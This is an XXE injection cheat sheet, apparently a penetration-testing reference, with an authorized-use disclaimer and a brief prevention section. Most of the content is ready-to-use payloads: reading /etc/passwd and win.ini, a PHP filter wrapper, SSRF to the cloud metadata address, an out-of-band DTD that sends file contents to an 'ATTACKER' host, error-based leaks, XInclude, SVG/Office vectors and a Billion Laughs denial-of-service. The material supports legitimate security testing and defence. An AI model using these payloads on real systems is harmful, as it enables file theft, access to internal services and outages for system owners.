XXE
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
XML External Entity injection: file read, SSRF, blind/out-of-band exfiltration and denial of service. Authorized testing only.
DETECTION#
Any endpoint parsing XML: SOAP, SAML, RSS, DOCX/XLSX/SVG uploads,
REST APIs accepting application/xml.
Reflect an entity to confirm parsing:
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x "XXE-OK">]>
<r>&x;</r>
CLASSIC FILE READ#
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
# Windows
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
# PHP wrapper to read source without breaking XML on special chars
<!ENTITY xxe SYSTEM
"php://filter/convert.base64-encode/resource=/etc/passwd">
SSRF VIA XXE#
<!DOCTYPE r [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<r>&xxe;</r>
# Reach internal services / cloud metadata through the XML parser.
BLIND / OUT-OF-BAND (OOB) EXFIL#
Host an external DTD (evil.dtd) on your server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://ATTACKER/?x=%file;'>">
%eval;
%exfil;
Payload sent to target:
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd;]>
<r>test</r>
Error-based OOB (leak file via parser error message):
# evil.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % err SYSTEM
'file:///nonexistent/%file;'>">
%eval;
%err;
PARAMETER ENTITIES / FILTER BYPASS#
When general entities are blocked, use parameter entities ( % ).
UTF-16 / different encodings can bypass naive string filters:
<?xml version="1.0" encoding="UTF-16"?>
XInclude (no DOCTYPE control)#
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
SVG / OFFICE FILE VECTORS#
# SVG uploaded to an image processor
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg><text>&xxe;</text></svg>
# DOCX/XLSX/PPTX are zip archives: inject into word/document.xml etc.
DENIAL OF SERVICE#
# Billion Laughs (entity expansion) - test carefully, may impact target
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
... ]>
PREVENTION (blue side)#
- Disable DTDs / external entities in the XML parser
(FEATURE_SECURE_PROCESSING, disallow-doctype-decl).
- Prefer JSON; validate/allowlist; patch legacy parsers.
See also: SSRF-BYPASS, API-SECURITY, OWASP-TOP10.